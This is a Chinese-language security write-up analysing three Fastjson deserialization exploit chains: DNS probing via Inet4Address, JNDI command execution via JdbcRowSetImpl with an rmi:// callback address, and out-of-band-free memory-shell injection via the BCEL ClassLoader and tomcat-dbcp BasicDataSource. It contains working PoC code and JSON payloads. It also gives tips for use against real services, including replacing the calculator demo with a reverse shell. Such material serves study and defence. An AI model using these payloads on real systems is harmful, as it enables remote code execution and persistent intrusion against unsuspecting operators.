利用 dns 解析探测 fastjson,JdbcRowSetImpl 命令执行,bcel Fastjson不出网利用,三个链子的分析
探测fastjson – dns
示例代码1:
演示 InetAddress.getByName 的功能
package org.test;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class URLTest {
public static void main(String[] args) throws UnknownHostException {
InetAddress address = InetAddress.getByName("www.baidu.com");
System.out.println("IP地址为: " + address.getHostAddress());
}
}
InetAddress 类:处理 ip 地址,url 解析 dns 之类的功能
InetAddress.getByName 参数如果为域名,会尝试 dns 解析为一个地址

如上图,调用 getByName 方法成功解析百度的域名
示例代码2:
当 Fastjson 处理这 InetAddress 类对象的时候,会试图去调用 getByName 方法,将 json 中 val 字段的内容 dns 解析为 ip
package org.test;
import com.alibaba.fastjson.JSON;
import java.net.InetAddress;
public class DNS {
public static void main(String[] args) {
String a=
"{\"@type\":\"java.net.Inet4Address\"" +
",\"val\":\"bbvaczcput.dgrh3.cn\"" +
"}";
Object b= JSON.parseObject(a,Object.class);
System.out.println(b.getClass());
}
}
运行如上示例:

产生解析记录,功能验证成功
接下来审计一下过程,对于 InetAddress,是有写好的反序列化器的(见上一小节中 “autotype 的判断” 末尾)
位于 MiscCode.java 47 行,进入寻找,在 299 行找到:
if (clazz == InetAddress.class || clazz == Inet4Address.class || clazz == Inet6Address.class) {
try {
return (T) InetAddress.getByName(strVal);
} catch (UnknownHostException e) {
throw new JSONException("deserialize inet adress error", e);
}
}
示例 2 中的 payload 中 val 字段,会被赋给 strVal 参数(示例 1 直接填入函数了),然后就调用了这个方法解析域名
如上,最简单的 dns 探测 fastjson,触发漏洞看到 dns 记录
JdbcRowSetImpl 命令执行
也是一个 Fastjson 的攻击链
JdbcRowSetImpl 是个类(好长一名字),其中的 connect 方法有调用一个 lookup 方法(联想 log4j 的 jndi 注入)
//代码细节可能不太一样,是从 class 反编译出来的,但是功能肯定一样的
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
...
并且这个方法的 DataSourceName 可控,存在一个 setDataSourceName 方法
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
想法是好的,可如果是刚刚那种,直接写死去调用 getByName,压根不给你调用别的方法的机会,就不妙了
于是问题就来了:需要找到一个 set/get 开头,满足 Fastjson 调用规则的方法,并且其中调用了 connect ,让我们可以把 rmi 或者 ladp 的地址写进 DataSourceName ,触发 lookup
想啥来啥还真有,在 setAutoCommit 方法中调用了 connnect 方法,并且满足 Fastjson 的规则要求
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
调用了 connect 方法,把 rmi/ladp 的 payload 塞进去一样可以的
正向的流程:Fastjson 反序列化对象 → 找到 setAutoCommit 方法满足条件,调用之 → 调用到 connect 方法 → connect 方法调用到可控传参的 lookup → 调用 lookup 前会先实例化之,如果实例化的是个存在恶意静态方法的 class ,攻击就达成了
虽然不是 log4j ,但产生漏洞风险的方法是一样的
因此在传入 json 的 payload 时,只需要控制两个值:DataSourceName 为提供恶意 class 的 rmi 或者 ladp,同时设置 autocommit 为 true,确保触发 connect 方法
package org.test;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class jdbcRCE {
public static void main(String[] args) {
String json="{\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://26.50.144.144:8085/mUfMIAPd\",\n" +
" \"autoCommit\":true\n" +
" }\n" ;
Object o = JSON.parseObject(json);
}
}
复现的准备操作同 log4j 的,用 yakit 就能很快捷的完成:

启动 rmi 反连,反连地址填入上述测试代码之后运行(采用 cc1 执行弹计算器,记得引入 cc1 依赖)

弹出计算器,测试成功
yakit 还是很爽的啊,方便程度和效率都拉满了,不用它的话要自己起服务,虽然也不难但比较麻烦,真心安利
实战操作
其实很简单,面对实际的一个疑似 fastjson 的服务,想用 dns 去探测,就可以通过发 POST 包,根目录下发一个 json 就行,同时记得指定 Content-Type 为 Application/json,然后 json 里面 @type 指定一下类,var 指定一下咱的 dns 反连地址,就可以测试了
另一个命令执行的同理,实战的话可以将弹计算器换成反弹 shell 或者别的,思路完全就是 log4j 的
vulhub复现: 待办
Fastjson 不出网利用
//稍微有点复杂
如果 fastjson 不出网,最直接的两个问题就是:dns 探测会探测不到,lookup 去利用也利用不了,访问不到远程恶意类
对策就是,打内存马,利用 bcel 表达式
IDEA 中可以双击 shift 找到 classloader.java (com.sun.org.apache.bcel.internal.util.ClassLoader 类)
这个类下存在 loadClass 方法:
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
总感觉这个缩进很奇怪(
这个方法传参中的 class_name:
protected Class loadClass(String class_name, boolean resolve)
是可控的,当传入方法,会检查 class_name 有没有 $$BCEL$$ 开头,有的话就会调用 createClass 方法去把类加载进来,但不同于 new 一个类,这里加载进来不会触发静态方法
看一下 createClass 方法:
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
return clazz;
}
会返回一个 JavaClass 对象,那再返回看一下那个 if
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
直接把 class_name 传入进去,去加载
那如果我们 $$BCEL$$ 开头后面是我们编码的一大串的一个类,比如一个内存马,编码好了传进去,就可以不必非得利用 lookup 去加载远端的类,直接写进请求包,就可以达成内存马注入,但是也要注意不能光返回 class 对象,不实例化的话是没办法用滴
bcel利用示例
package org.example.demo11;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
import java.io.File;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
@SpringBootTest
class Demo11ApplicationTests {
@Test
void contextLoads() {
}
@Test
void test1() throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray.fileToBinArray(new File("恶意类的路径"));
String code = Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
}
}
几个关键点:
import com.sun.org.apache.bcel.internal.util.ClassLoader;
注意要引用的是 bcel 的 classloader ,引用别的 classloader 是没有用滴
import com.sun.org.apache.bcel.internal.classfile.Utility;
引用 Utility 类,这个类的 encode 方法就是帮我们把 class 编码成 bcel 的
那么下面的 test1 方法实现的功能也很简单,把恶意类的 class 读取进来,编码成 bcel 表达式,然后添加 $$BCEL$$ 头,然后调用 newInstance 方法实例化,实例化的时候就会触发静态方法,之后控制台就可以看到 bcel 表达式了,很多 $ 符号的就是
说了那么多,费尽心思去利用这个 bcel 的 classloader 就是因为它可以不必访问外部,不用出网,就能把我们的恶意类加载,实例化,直接注入内存马
那么这个东西也得想办法有地方去调用啊,调用到了,读取到了 class_name ,才行,那有吗?
有的兄弟,有的
调用 bcel
tomcat-dbcp 里面有一个 BasicDataSource 类,这个类下面有一个 getConnection 方法
public Connection getConnection() throws SQLException {
if (Utils.IS_SECURITY_ENABLED) {
PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {
return (Connection)AccessController.doPrivileged(action);
} catch (PrivilegedActionException e) {
Throwable cause = e.getCause();
if (cause instanceof SQLException) {
throw (SQLException)cause;
} else {
throw new SQLException(e);
}
}
} else {
return this.createDataSource().getConnection();
}
}
然后这个方法又调用了 createDataSource 方法:(这个方法太长了不全放出了)
protected DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
synchronized(this) {
if (this.dataSource != null) {
return this.dataSource;
} else {
this.jmxRegister();
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
还调用了 createConnectionFactory 方法,这个方法里面有一个 else:
else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
这里会把我们要加载实例化的类传进去,并且也可以指定要用的 classloader,真是饿了张嘴就有饭,三步之内必有解药
细说一下 Class.forName,再调用的时候会进行一些初始化,虽然没有直接实例化那么完整,但也有一些操作,最典型的就是会调用静态代码块
不太清楚可以测试一下,测试示例:
class TestClass {
static {
System.out.println("静态代码块被调用");
}
public TestClass() {
System.out.println("构造方法被调用");
}
}
...
@Test
void test2 () throws Exception {
Class.forName("org.example.demo11.TestClass");
}
这里我直接把这个类和方法添加到上一个示例里面了,运行 test2 方法:

可以看到确实是调用了静态代码块,和 loadclass 是不一样的一个会触发一个不会触发
可以跟进一下 forName 瞧一眼:
@CallerSensitive
public static Class<?> forName(String className) throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}
也是返回一个 class 对象,但是跟 loadClass 返回 class 对象不同的是会调用到静态代码块
调用 bcel 的 tomcat-dbcp 的那个方法是什么来着,是 getConnection ,正好也满足 Fastjson 对于 get 方法的要求,这就连起来了
总结
详细捋一遍流程再:
传入 json,@type 中指定 BasicDataSource 类,触发 Fastjson 的机制,去寻找 set 和 get,找到符合要求的 getConnection 方法,随后进入这个方法:
调用 createDataSource 方法,里面有一个 Class.forName,支持自定义类名和 loader ,指定为我们传入的恶意类,和 bcel 的 loader,随后进入 bcel 的 loader:
loadClass 方法会检查有无 $$BCEL$$ 开头,有的话就调用 createClass,把我们的类加载进来,返回一个 class 对象,返回给上层调用,也就是 loadClass,再返回给上层的 Class.forName,触发一定程度的初始化,会触发静态代码块,最终一路返回回去,后面的也就不重要了
重点是加载到了我们传入的恶意类,而不需要任何向外访问的操作,,只需要编码成 bcel 表达式就可以达成不出网利用
因此大致的 payload 格式即为:
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
//这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$................"
}
}: "bbb"
}
复现
内存马生成工具:java-memshell-generator pen4uin 师傅做的工具,太强大了
最麻烦的写内存马都省了,直接塞进 payload 就完事了,不写复现过程了(懒狗一个
